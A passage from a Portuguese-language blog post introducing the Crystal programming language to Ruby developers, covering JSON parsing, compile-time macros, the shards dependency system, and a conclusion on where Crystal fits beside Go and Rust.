<p>Não dá para fazer isso em Crystal, ao invés a <a href="http://crystal-lang.org/api/JSON.html#mapping%28properties%2Cstrict%3Dfalse%29-macro"target="_blank" rel="noopener">abordagem recomendada</a> é declarar uma estrutura tipo schema assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">FilesResponse</span>
</span></span><span class="line"><span class="cl">  <span class="no">JSON</span><span class="o">.</span><span class="n">mapping</span><span class="p">({</span>
</span></span><span class="line"><span class="cl">    <span class="ss">ok</span><span class="p">:</span> <span class="p">{</span><span class="ss">type</span><span class="p">:</span> <span class="no">Bool</span><span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="ss">files</span><span class="p">:</span> <span class="p">{</span><span class="ss">type</span><span class="p">:</span> <span class="nb">Array</span><span class="p">(</span><span class="no">FilesItemResponse</span><span class="p">)}</span>
</span></span><span class="line"><span class="cl">  <span class="p">})</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">FilesItemResponse</span>
</span></span><span class="line"><span class="cl">  <span class="no">JSON</span><span class="o">.</span><span class="n">mapping</span><span class="p">({</span>
</span></span><span class="line"><span class="cl">    <span class="nb">id</span><span class="p">:</span> <span class="p">{</span><span class="ss">type</span><span class="p">:</span> <span class="nb">String</span><span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nb">name</span><span class="p">:</span> <span class="p">{</span><span class="ss">type</span><span class="p">:</span> <span class="nb">String</span><span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="ss">filetype</span><span class="p">:</span> <span class="p">{</span><span class="ss">type</span><span class="p">:</span> <span class="nb">String</span><span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="ss">created</span><span class="p">:</span> <span class="p">{</span><span class="ss">type</span><span class="p">:</span> <span class="no">Time</span><span class="p">,</span> <span class="ss">converter</span><span class="p">:</span> <span class="no">Time</span><span class="o">::</span><span class="no">EpochConverter</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="ss">timestamp</span><span class="p">:</span> <span class="p">{</span><span class="ss">type</span><span class="p">:</span> <span class="no">Time</span><span class="p">,</span> <span class="ss">converter</span><span class="p">:</span> <span class="no">Time</span><span class="o">::</span><span class="no">EpochConverter</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="ss">permalink</span><span class="p">:</span> <span class="p">{</span><span class="ss">type</span><span class="p">:</span> <span class="nb">String</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">})</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="o">...</span>
</span></span><span class="line"><span class="cl"><span class="c1"># parsed_json = JSON.parse(response.body)[&#34;files&#34;].first[&#34;id&#34;]</span>
</span></span><span class="line"><span class="cl"><span class="n">parsed_json</span> <span class="o">=</span> <span class="no">FilesResponse</span><span class="o">.</span><span class="n">from_json</span><span class="p">(</span><span class="vi">@body</span><span class="p">)</span><span class="o">.</span><span class="n">files</span><span class="o">.</span><span class="n">first</span><span class="o">.</span><span class="n">id</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Eu sou muito acostumado com o duck typing do Ruby e a habilidade de consultar objetos em runtime. Em Crystal a coisa é diferente, e pode ficar bem cansativo mudar seu mindset para pensar em tipos de antemão. O compilador vai gritar muito durante seu ciclo de desenvolvimento até você se acostumar com esse conceito.</p>
<p>Fiz um experimento com parsing de JSON e o resultado é um projeto que chamei de <a href="https://github.com/akitaonrails/cr_slack_cleanup"target="_blank" rel="noopener">&ldquo;cr_slack_cleanup&rdquo;</a>, que mostra tanto essa ideia de Schemas JSON quanto Fibers e Channels como expliquei na seção anterior.</p>
<p>Update: depois que postei este artigo o @LuisLavena entrou em campo para me corrigir: dá para fazer como em Ruby, sem schemas:</p>
<blockquote class="twitter-tweet" data-partner="tweetdeck"><p lang="en" dir="ltr"><a href="https://twitter.com/AkitaOnRails">@AkitaOnRails</a> <a href="https://twitter.com/CrystalLanguage">@CrystalLanguage</a> re: JSON, you can parse it kinda-like Ruby, see JSON::Any: <a href="https://t.co/MD7PYy5AVH">https://t.co/MD7PYy5AVH</a></p>&mdash; Luis Lavena (@luislavena) <a href="https://twitter.com/luislavena/status/738005493189316608">June 1, 2016</a></blockquote>
<p>E fica assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="nb">require</span> <span class="s2">&#34;json&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">data</span> <span class="o">=</span> <span class="s">&lt;&lt;-JSON
</span></span></span><span class="line"><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;files&#34;</span><span class="p">:</span> <span class="o">[</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="s2">&#34;id&#34;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">          <span class="s2">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;photo.jpg&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="s2">&#34;id&#34;</span><span class="p">:</span> <span class="mi">99</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">          <span class="s2">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;another.jpg&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="o">]</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="no">JSON</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">obj</span> <span class="o">=</span> <span class="no">JSON</span><span class="o">.</span><span class="n">parse</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">obj</span><span class="o">[</span><span class="s2">&#34;files&#34;</span><span class="o">].</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">item</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="nb">puts</span> <span class="n">item</span><span class="o">[</span><span class="s2">&#34;id&#34;</span><span class="o">].</span><span class="n">as_i</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Então, parsing de JSON pode ser quase idêntico ao que você faria em Ruby, embora ele também recomende Schemas porque acaba sendo um pouco mais rápido.</p>
<h3>Macros<span class="hx:absolute hx:-mt-20" id="macros"></span>
    <a href="#macros" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>A última feature importante que vale mencionar é a presença de Macros. Como você não tem controle do seu código em runtime, não tem &ldquo;eval&rdquo;, não tem &ldquo;send&rdquo;, então você ficaria sem como fazer metaprogramação de verdade.</p>
<p>Macros trazem de volta um pouco da metaprogramação do Ruby. Por exemplo, em Ruby, quando você inclui um Module em uma Class, existe o hook &ldquo;included?&rdquo; no Module onde você pode adicionar metaprogramação como coisas com &ldquo;class_eval&rdquo;.</p>
<p>Em Crystal, um Module também tem o hook &ldquo;included&rdquo; mas agora é uma Macro. Você pode fazer algo assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">module</span> <span class="nn">Foo</span>
</span></span><span class="line"><span class="cl">  <span class="n">macro</span> <span class="n">included</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span><span class="o">%</span> <span class="k">if</span> <span class="vi">@type</span><span class="o">.</span><span class="n">name</span> <span class="o">==</span> <span class="s2">&#34;Bar&#34;</span> <span class="s">%}
</span></span></span><span class="line"><span class="cl"><span class="s">    def self.hello
</span></span></span><span class="line"><span class="cl"><span class="s">      puts &#34;Bar&#34;
</span></span></span><span class="line"><span class="cl"><span class="s">    end
</span></span></span><span class="line"><span class="cl"><span class="s">    {% else %}</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">hello</span>
</span></span><span class="line"><span class="cl">      <span class="nb">puts</span> <span class="s2">&#34;HELLO&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span><span class="o">%</span> <span class="k">end</span> <span class="o">%</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">module</span> <span class="nn">Bar</span>
</span></span><span class="line"><span class="cl">  <span class="kp">include</span> <span class="no">Foo</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">module</span> <span class="nn">Something</span>
</span></span><span class="line"><span class="cl">  <span class="kp">include</span> <span class="no">Foo</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="no">Bar</span><span class="o">.</span><span class="n">hello</span> <span class="c1"># =&gt; &#34;Bar&#34;</span>
</span></span><span class="line"><span class="cl"><span class="no">Something</span><span class="o">.</span><span class="n">hello</span> <span class="c1"># =&gt; &#34;HELLO&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>É como ter templates &ldquo;ERB&rdquo; para código. Uma macro é código construindo código em tempo de compilação. Na AST resultante é como se você tivesse escrito o código repetitivo e chato na mão. O binário nativo compilado não se importa. Se você vem do C, é como pré-processamento, mas com controle sobre uma árvore AST de Nodes ao invés de só manipular código-fonte. Você até consegue fazer algo parecido com o venerado &ldquo;#method_missing&rdquo;.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Foo</span>
</span></span><span class="line"><span class="cl">  <span class="n">macro</span> <span class="nb">method_missing</span><span class="p">(</span><span class="nb">name</span><span class="p">,</span> <span class="n">args</span><span class="p">,</span> <span class="n">block</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{{</span><span class="n">pp</span> <span class="nb">name</span><span class="p">}}</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="no">Foo</span><span class="o">.</span><span class="n">new</span><span class="o">.</span><span class="n">hello_world</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; name = &#34;hello_world&#34;</span>
</span></span><span class="line"><span class="cl"><span class="no">Foo</span><span class="o">.</span><span class="n">new</span><span class="o">.</span><span class="n">bla_bla</span><span class="p">(</span><span class="s2">&#34;bla&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; name = &#34;bla_bla&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Qualquer macro pode receber uma AST como argumento e você pode manipular essa AST como bem entender. Por exemplo:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>module Foo
  macro teste(ast)
    puts {{ast.stringify}}
  end
end

Foo.teste &#34;Hello World&#34;.split(&#34; &#34;).join(&#34; - &#34;)
# =&gt; (&#34;Hello World&#34;.split(&#34; &#34;)).join(&#34; - &#34;)</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Nesse exemplo você só pega uma versão normalizada do código que passou como argumento. E o código não vai ser &ldquo;executado&rdquo; naquela posição.</p>
<p>Então, você pode definir novos métodos e chamar versões diferentes de métodos dependendo da combinação de elementos que você pega da AST. Um exemplo do que é possível é este experimento do desenvolvedor Oleksii que empacotei neste pequeno projeto que chamei de <a href="https://github.com/akitaonrails/cr_chainable_methods"target="_blank" rel="noopener">&ldquo;cr_chainable_methods&rdquo;</a>, e a gente consegue construir código bem diferente tanto de Crystal quanto de Ruby:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">result</span> <span class="o">=</span> <span class="n">pipe</span> <span class="s2">&#34;Hello World&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="o">.</span><span class="n">&gt;&gt;</span> <span class="no">Foo</span><span class="o">.</span><span class="n">split_words</span>
</span></span><span class="line"><span class="cl">  <span class="o">.</span><span class="n">&gt;&gt;</span> <span class="no">Foo</span><span class="o">.</span><span class="n">append_message</span><span class="p">(</span><span class="s2">&#34;Bar&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="o">.</span><span class="n">&gt;&gt;</span> <span class="no">Bar</span><span class="o">.</span><span class="n">add_something</span>
</span></span><span class="line"><span class="cl">  <span class="o">.</span><span class="n">&gt;&gt;</span> <span class="no">Foo</span><span class="o">.</span><span class="n">join</span>
</span></span><span class="line"><span class="cl">  <span class="o">.</span><span class="n">&gt;&gt;</span> <span class="n">unwrap</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>(Sim, um subconjunto do que um Pipe de verdade do Elixir faz.)</p>
<h3>Crystal Shards<span class="hx:absolute hx:-mt-20" id="crystal-shards"></span>
    <a href="#crystal-shards" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Por fim, um aspecto que eu gosto no Crystal é que ele já tem gerenciamento de tarefas e gerenciamento de dependências resolvidos. Sem discussões sem fim sobre qual implementação de pacotes e dependências a gente &ldquo;deveria&rdquo; usar.</p>
<p>Você pode simplesmente escrever um script simples num arquivo como &ldquo;test.cr&rdquo; e rodar esse arquivo assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>crystal test.cr</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Ou você pode buildar e compilar para um binário nativo antes de executar:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>crystal build test.cr --release
./test</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E também dá para começar com uma estrutura de projeto adequada e ciclo de desenvolvimento assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>crystal init app test
cd test
crystal build src/test.cr --release
./test
git add .
git commit -m &#34;initial commit&#34;
git push -u origin master</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Ele monta uma estrutura de diretórios de projeto adequada, um repositório Git já vem pré-inicializado para você (por que diabos você programaria sem Git!?) com um arquivo &ldquo;.gitignore&rdquo; decente.</p>
<p>Você também vai encontrar um arquivo &ldquo;shard.yml&rdquo; onde você declara o nome da sua aplicação ou biblioteca, versão, autor, e também as suas dependências assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">kemal</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">version</span><span class="p">:</span><span class="w"> </span><span class="m">0.12.0</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">dependencies</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">radix</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">github</span><span class="p">:</span><span class="w"> </span><span class="l">luislavena/radix</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">version</span><span class="p">:</span><span class="w"> </span><span class="m">0.3.0</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">kilt</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">github</span><span class="p">:</span><span class="w"> </span><span class="l">jeromegn/kilt</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">version</span><span class="p">:</span><span class="w"> </span><span class="m">0.3.3</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">author</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span>- <span class="l">Serdar Dogruyol &lt;dogruyolserdar@gmail.com&gt;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Esse exemplo é do <a href="https://github.com/sdogruyol/kemal"target="_blank" rel="noopener">framework web Kemal</a> do Serdar. Ele depende das bibliotecas Radix e Kilt. Você precisa rodar <code>crystal deps</code> e ele vai buscar do Github antes de você poder compilar.</p>
<p>E mais: todo projeto vem com um diretório &ldquo;spec&rdquo; adequado onde você pode escrever testes no estilo Rspec e rodá-los usando <code>crystal spec</code>. E o resultado do runner de specs vai ser parecido com isso:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>$ crystal spec
........................................................

Finished in 8.28 milliseconds
56 examples, 0 failures, 0 errors, 0 pending</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Tudo embutido, sem precisar de bibliotecas externas.</p>
<p>E 8 milissegundos para rodar a suíte de testes inteira de um micro framework web? Nada mau. Se você somar o tempo de inicialização do executável, ainda dá em torno de 1 segundo de tempo total de execução. Bem impressionante.</p>
<h3>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Crystal não tem como objetivo ser um substituto do Ruby como o JRuby. Então ele nunca vai rodar projetos Ruby existentes e complicados como Ruby on Rails ou mesmo Sinatra.</p>
<p>Para mim, Crystal preenche uma lacuna em alguns casos de uso onde eu usaria Rust ou Go. Ele tem o desempenho bruto de um binário nativo otimizado por LLVM, um sistema de concorrência razoavelmente rápido no estilo Go (e muito mais rápido e menos intensivo em recursos que Node.js), com o benefício adicional de uma sintaxe muito mais agradável estilo Ruby.</p>
<p>Você pode até começar a experimentar Crystal para construir extensões nativas Ruby sem precisar de FFI e sem ter que escrever C. Existe uma tentativa de <a href="https://github.com/startram/activesupport.cr"target="_blank" rel="noopener">port do ActiveSupport</a> como uma extensão nativa para o MRI Ruby, escrita como prova de conceito em Crystal.</p>
<p>Se você é Rubyista vai se sentir bastante em casa com a maior parte da biblioteca padrão. Vai sentir falta de uma coisa ou outra, mas na maior parte do tempo vai parecer Ruby. O <a href="http://crystal-lang.org/docs"target="_blank" rel="noopener">Guia oficial</a> é bom o suficiente para começar e tem uma <a href="http://crystal-lang.org/api"target="_blank" rel="noopener">documentação de API</a> abrangente, suficiente para checar se aquela API favorita do Ruby está lá ou não, e se não estiver, quais são os substitutos. Na maioria das vezes você vai pensar <em>&ldquo;hmm, em Ruby eu usaria Enumerator#each &hellip; e sim, com certeza, tem Enumerator#each como esperado.&rdquo;</em> A documentação da API está precisando de mais carinho, então se você quer contribuir, esse é um bom lugar para começar.</p>
<p>Se você quer dar uma olhada em uma lista curada de bibliotecas e aplicações Crystal, vá direto no <a href="http://awesome-crystal.com/"target="_blank" rel="noopener">&ldquo;Awesome Crystal&rdquo;</a>. Você também pode ver os mais dinâmicos <a href="https://github.com/trending/crystal"target="_blank" rel="noopener">&ldquo;Trending Projects in Github&rdquo;</a>.</p>
<p>Na maior parte, sua proficiência em Ruby vai compensar para construir sistemas pequenos onde performance bruta e concorrência sejam mesmo necessárias. Esse é exatamente o caso de uso para o port do <a href="https://github.com/mperham/sidekiq.cr"target="_blank" rel="noopener">Sidekiq.cr</a> do Mike Perham. Imagine que você tem gigabytes de arquivos para processar. Ou você tem milhares de sites externos para crawlear, parsear e organizar. Ou você tem petabytes de dados no seu banco esperando para serem processados. Essas são tarefas em que MRI Ruby não vai te ajudar, mas Crystal pode muito bem ser a resposta rápida.</p>
<p>Você até pode pegar um dos vários micro frameworks web como o Kemal e fazer deploy dos seus provedores de API HTTP <a href="http://crystal-lang.org/2016/05/26/heroku-buildpack.html"target="_blank" rel="noopener">direto no Heroku</a> agora. Isso te dá níveis de performance estilo Go, e isso é <strong>muito</strong> atraente para mim, pois também detesto a sintaxe arcaica do Go.</p>
